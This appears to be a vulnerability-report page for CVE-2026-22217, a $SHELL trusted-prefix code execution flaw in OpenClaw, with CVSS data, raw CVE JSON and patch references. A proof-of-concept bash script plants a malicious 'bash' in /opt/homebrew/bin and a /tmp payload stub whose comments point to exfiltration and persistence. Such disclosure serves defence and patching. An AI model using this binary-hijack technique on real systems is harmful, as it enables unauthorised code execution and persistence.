Security Vulnerability Report
中文
CVE-2026-22217 CVSS 6.1 MEDIUM

CVE-2026-22217

Published: 2026-03-18 02:16:23
Last Modified: 2026-03-25 15:16:37

Description

OpenClaw version 2026.2.22 prior to 2026.2.23 contain an arbitrary code execution vulnerability in shell-env that allows attackers to execute attacker-controlled binaries by exploiting trusted-prefix fallback logic for the $SHELL variable. An attacker can influence the $SHELL environment variable on systems with writable trusted-prefix directories such as /opt/homebrew/bin to execute arbitrary binaries in the OpenClaw process context.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.23
OpenClaw 2026.2.22及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-22217 PoC - OpenClaw Arbitrary Code Execution via $SHELL # Author: Security Researcher # Date: 2026-03-18 # This PoC demonstrates how an attacker can exploit the $SHELL environment variable # manipulation to execute arbitrary code in OpenClaw process context. # Step 1: Check if the trusted prefix directory is writable TRUSTED_PREFIX="/opt/homebrew/bin" if [ -w "$TRUSTED_PREFIX" ]; then echo "[+] Trusted prefix directory is writable: $TRUSTED_PREFIX" else echo "[-] Trusted prefix directory is not writable" exit 1 fi # Step 2: Create a malicious shell binary that executes arbitrary code MALICIOUS_SHELL="$TRUSTED_PREFIX/bash" cat > "$MALICIOUS_SHELL" << 'EOF' #!/bin/bash echo "Malicious shell executed!" # Execute attacker-controlled code /tmp/payload.sh exec /bin/bash "$@" EOF chmod +x "$MALICIOUS_SHELL" echo "[+] Created malicious shell at $MALICIOUS_SHELL" # Step 3: Create the payload that will be executed cat > /tmp/payload.sh << 'EOF' #!/bin/bash echo "[+] Arbitrary code execution successful!" # Add your malicious commands here # Example: exfiltrate data, establish persistence, etc. EOF chmod +x /tmp/payload.sh echo "[+] Created payload at /tmp/payload.sh" # Step 4: Set the $SHELL environment variable to point to malicious binary # When OpenClaw reads $SHELL, it will use our malicious binary # export SHELL="/opt/homebrew/bin/bash" # echo "[+] Set SHELL environment variable" # Step 5: Wait for OpenClaw to execute shell commands # The malicious shell will be invoked when OpenClaw processes shell-related operations echo "[+] PoC ready. When OpenClaw is launched, the malicious shell will be executed." echo "[+] The payload script /tmp/payload.sh will be executed in OpenClaw's process context."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22217", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:23.003", "lastModified": "2026-03-25T15:16:37.207", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw version 2026.2.22 prior to 2026.2.23 contain an arbitrary code execution vulnerability in shell-env that allows attackers to execute attacker-controlled binaries by exploiting trusted-prefix fallback logic for the $SHELL variable. An attacker can influence the $SHELL environment variable on systems with writable trusted-prefix directories such as /opt/homebrew/bin to execute arbitrary binaries in the OpenClaw process context."}, {"lang": "es", "value": "Las versiones de OpenClaw 2026.2.22 y anteriores a la 2026.2.23 contienen una vulnerabilidad de ejecución de código arbitrario en shell-env que permite a los atacantes ejecutar binarios controlados por el atacante explotando la lógica de respaldo de prefijo de confianza para la variable $SHELL. Un atacante puede influir en la variable de entorno $SHELL en sistemas con directorios de prefijo de confianza escribibles como /opt/homebrew/bin para ejecutar binarios arbitrarios en el contexto del proceso de OpenClaw."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2026.2.22", "versionEndExcluding": "2026.2.23", "matchCriteriaId": "BDC0926A-7E07-4F3F-B748-59AE2E6278FC"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/ff10fe8b91670044a6bb0cd85deb736a0ec8fb55", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p4wh-cr8m-gm6c", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-binary-execution-via-shell-environment-variable-trusted-prefix-fallback", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}